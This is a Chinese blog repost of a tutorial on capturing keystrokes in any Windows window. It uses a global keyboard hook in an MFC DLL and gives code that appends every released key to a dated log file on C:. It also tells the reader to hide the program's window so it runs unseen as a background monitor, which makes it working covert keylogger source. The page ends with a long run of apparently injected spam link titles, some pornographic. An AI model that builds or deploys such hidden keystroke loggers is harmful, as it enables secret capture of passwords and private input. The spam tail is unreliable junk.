• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            twzheng's cppblog

            『站在風(fēng)口浪尖緊握住鼠標(biāo)旋轉(zhuǎn)!』 http://www.cnblogs.com/twzheng

              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理 ::
              136 隨筆 :: 78 文章 :: 353 評論 :: 0 Trackbacks
            用鍵盤鉤子在Windows平臺捕獲鍵盤動作
            摘自:好易教程網(wǎng)
            信息產(chǎn)業(yè)部電子第二十二研究所青島分所 郎銳

            一、引言
            我們可以在應(yīng)用程序中毫不費(fèi)力的捕獲在本程序窗口上所進(jìn)行的鍵盤操作,但如果我們想要將此程序作成一個監(jiān)控程序,捕獲在Windows平臺下任意窗口上的鍵盤操作,就需要借助于全局鉤子來實(shí)現(xiàn)了。
            二、系統(tǒng)鉤子和DLL
            鉤子的本質(zhì)是一段用以處理系統(tǒng)消息的程序,通過系統(tǒng)調(diào)用,將其掛入系統(tǒng)。鉤子的種類有很多,每種鉤子可以截獲并處理相應(yīng)的消息,每當(dāng)特定的消息發(fā)出,在到達(dá)目的窗口之前,鉤子程序先行截獲該消息、得到對此消息的控制權(quán)。此時在鉤子函數(shù)中就可以對截獲的消息進(jìn)行加工處理,甚至可以強(qiáng)制結(jié)束消息的傳遞。
            在本程序中我們需要捕獲在任意窗口上的鍵盤輸入,這就需要采用全局鉤子以便攔截整個系統(tǒng)的消息,而全局鉤子函數(shù)必須以DLL(動態(tài)連接庫)為載體進(jìn)行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標(biāo)準(zhǔn)靜態(tài)鏈接MFC DLL)、Regular using the shared MFC DLL(標(biāo)準(zhǔn)動態(tài)鏈接MFC DLL)以及Extension MFC DLL(擴(kuò)展MFC DLL)。 在本程序中為方便起見采用了標(biāo)準(zhǔn)靜態(tài)連接MFC DLL。
            三、鍵盤鉤子程序示例
            本示例程序用到全局鉤子函數(shù),程序分兩部分:可執(zhí)行程序KeyHook和動態(tài)連接庫LaunchDLL。
            1、首先編制MFC擴(kuò)展動態(tài)連接庫LaunchDLL.dll:
            (1)選擇MFC AppWizard(DLL)創(chuàng)建項目LaunchDLL;在接下來的選項中選擇Regular statically linked to MFC DLL(標(biāo)準(zhǔn)靜態(tài)鏈接MFC DLL)。
            (2)在LaunchDLL.h中添加宏定義和待導(dǎo)出函數(shù)的聲明:
            #define DllExport __declspec(dllexport)
            ……
            DllExport void WINAPI InstallLaunchEv();
            ……
            class CLaunchDLLApp : public CWinApp
            {
            public:
            CLaunchDLLApp();

            //{{AFX_VIRTUAL(CLaunchDLLApp)
            //}}AFX_VIRTUAL

            //{{AFX_MSG(CLaunchDLLApp)
            // NOTE - the ClassWizard will add and remove member functions here.
            // DO NOT EDIT what you see in these blocks of generated code !
            //}}AFX_MSG
            DECLARE_MESSAGE_MAP()
            };
            (3)在LaunchDLL.cpp中添加全局變量Hook和全局函數(shù)LauncherHook、SaveLog:
            HHOOK Hook;
            LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
            void SaveLog(char* c);
            (4)完成以上提到的這幾個函數(shù)的實(shí)現(xiàn)部分:
            ……
            CLaunchDLLApp theApp;
            ……
            DllExport void WINAPI InstallLaunchEv()
            {
            Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
            (HOOKPROC)LauncherHook,
            theApp.m_hInstance,
            0);
            }
            在此我們實(shí)現(xiàn)了Windows的系統(tǒng)鉤子的安裝,首先要調(diào)用SDK中的API函數(shù)SetWindowsHookEx來安裝這個鉤子函數(shù),其原型是:
            HHOOK SetWindowsHookEx(int idHook,
            HOOKPROC lpfn,
            HINSTANCE hMod,
            DWORD dwThreadId);
            其中,第一個參數(shù)指定鉤子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關(guān)心鍵盤操作所以設(shè)定為WH_KEYBOARD;第二個參數(shù)標(biāo)識鉤子函數(shù)的入口地址,當(dāng)鉤子鉤到任何消息后便調(diào)用這個函數(shù),即當(dāng)不管系統(tǒng)的哪個窗口有鍵盤輸入馬上會引起LauncherHook的動作;第三個參數(shù)是鉤子函數(shù)所在模塊的句柄,我們可以很簡單的設(shè)定其為本應(yīng)用程序的實(shí)例句柄;最后一個參數(shù)是鉤子相關(guān)函數(shù)的ID用以指定想讓鉤子去鉤哪個線程,為0時則攔截整個系統(tǒng)的消息,在本程序中鉤子需要為全局鉤子,故設(shè)定為0。
            ……
            LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
            {
            LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
            if(nCode==HC_ACTION)
            {
            if(lParam & 0x80000000)
            {
            char c[1];
            c[0]=wParam;
            SaveLog(c);
            }
            }
            return Result;
            }
            雖然調(diào)用CallNextHookEx()是可選的,但調(diào)用此函數(shù)的習(xí)慣是很值得推薦的;否則的話,其他安裝了鉤子的應(yīng)用程序?qū)⒉粫邮盏姐^子的通知而且還有可能產(chǎn)生不正確的結(jié)果,所以我們應(yīng)盡量調(diào)用該函數(shù)除非絕對需要阻止其他程序獲取通知。
            ……
            void SaveLog(char* c)
            {
            CTime tm=CTime::GetCurrentTime();
            CString name;
            name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
            CFile file;
            if(!file.Open(name,CFile::modeReadWrite))
            {
            file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
            }
            file.SeekToEnd();
            file.Write(c,1);
            file.Close();
            }
            當(dāng)有鍵彈起的時候就通過此函數(shù)將剛彈起的鍵保存到記錄文件中從而實(shí)現(xiàn)對鍵盤進(jìn)行監(jiān)控記錄的目的。
            編譯完成便可得到運(yùn)行時所需的鍵盤鉤子的動態(tài)連接庫LaunchDLL.dll和進(jìn)行靜態(tài)鏈接時用到的LaunchDLL.lib。
            2、下面開始編寫調(diào)用此動態(tài)連接庫的主程序,并實(shí)現(xiàn)最后的集成:
            (1)用MFC的AppWizard(EXE)創(chuàng)建項目KeyHook;
            (2)選擇單文檔,其余幾步可均為確省;
            (3)把LaunchDLL.h和LaunchDLL.lib復(fù)制到KeyHook工程目錄中,LaunchDLL.dll復(fù)制到Debug目錄下。
            (4)鏈接DLL庫,即在"Project","Settings…"的"Link"屬性頁內(nèi),在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通過"Project","Add To Project","Files…"將LaunchDLL.h添加到工程中來,最后在視類的源文件KeyHook.cpp中加入對其的引用:
            #include "LaunchDLL.h"
            這樣我們就可以象使用本工程內(nèi)的 函數(shù)一樣使用動態(tài)連接庫LaunchDLL.dll中的所有導(dǎo)出函數(shù)了。
            (5)在視類中添加虛函數(shù)OnInitialUpdate(),并添加代碼完成對鍵盤鉤子的安裝:
            ……
            InstallLaunchEv();
            ……
            (6)到此為止其實(shí)已經(jīng)完成了所有的功能,但作為一個后臺監(jiān)控軟件,運(yùn)行時并不希望有界面,可以在應(yīng)用程序類CkeyHookApp的InitInstance()函數(shù)中將m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow(SW_HIDE);即可。
            四、運(yùn)行與檢測
            編譯運(yùn)行程序,運(yùn)行起來之后并無什么現(xiàn)象,但通過Alt+Ctrl+Del在關(guān)閉程序?qū)υ捒騼?nèi)可以找到我們剛編寫完畢的程序"KeyHook",隨便在什么程序中通過鍵盤輸入字符,然后打開記錄文件,我們會發(fā)現(xiàn):通過鍵盤鉤子,我們剛才輸入的字符都被記錄到記錄文件中了。
            小結(jié):系統(tǒng)鉤子具有相當(dāng)強(qiáng)大的功能,通過這種技術(shù)可以對幾乎所有的Windows系統(tǒng)消息進(jìn)行攔截、監(jiān)視、處理。這種技術(shù)廣泛應(yīng)用于各種自動監(jiān)控系統(tǒng)中。
            posted on 2007-06-05 00:29 譚文政 閱讀(525) 評論(0)  編輯 收藏 引用 所屬分類: 網(wǎng)絡(luò)編程
            久久人妻无码中文字幕| 国产精品亚洲综合专区片高清久久久 | 99999久久久久久亚洲| 久久精品国产亚洲av日韩 | 久久久久一本毛久久久| 伊人色综合久久天天人守人婷| 久久精品一本到99热免费| 国内精品久久久久久99蜜桃| 国产精品美女久久久久av爽| 久久亚洲国产精品成人AV秋霞| 97久久精品人妻人人搡人人玩| 国产精品日韩欧美久久综合| 久久九九久精品国产免费直播| 99久久精品国产免看国产一区| 久久强奷乱码老熟女| 精品久久久久久久| 欧美大香线蕉线伊人久久| 久久婷婷五月综合色99啪ak | 香蕉99久久国产综合精品宅男自| 精品久久久久久无码专区| 亚洲国产日韩综合久久精品| 88久久精品无码一区二区毛片| 色婷婷综合久久久中文字幕| 色偷偷88欧美精品久久久 | 久久国产三级无码一区二区| 久久99精品久久只有精品| 久久成人国产精品免费软件| 久久天天躁狠狠躁夜夜2020| 亚洲国产精品人久久| 久久国产精品-国产精品| 久久午夜伦鲁片免费无码| 亚洲精品高清一二区久久| AA级片免费看视频久久| 久久综合九色综合久99| 国产91色综合久久免费分享| 99国产欧美精品久久久蜜芽| 久久午夜羞羞影院免费观看| 久久久久高潮毛片免费全部播放| 99久久99这里只有免费费精品| 色欲久久久天天天综合网精品 | 亚洲а∨天堂久久精品9966|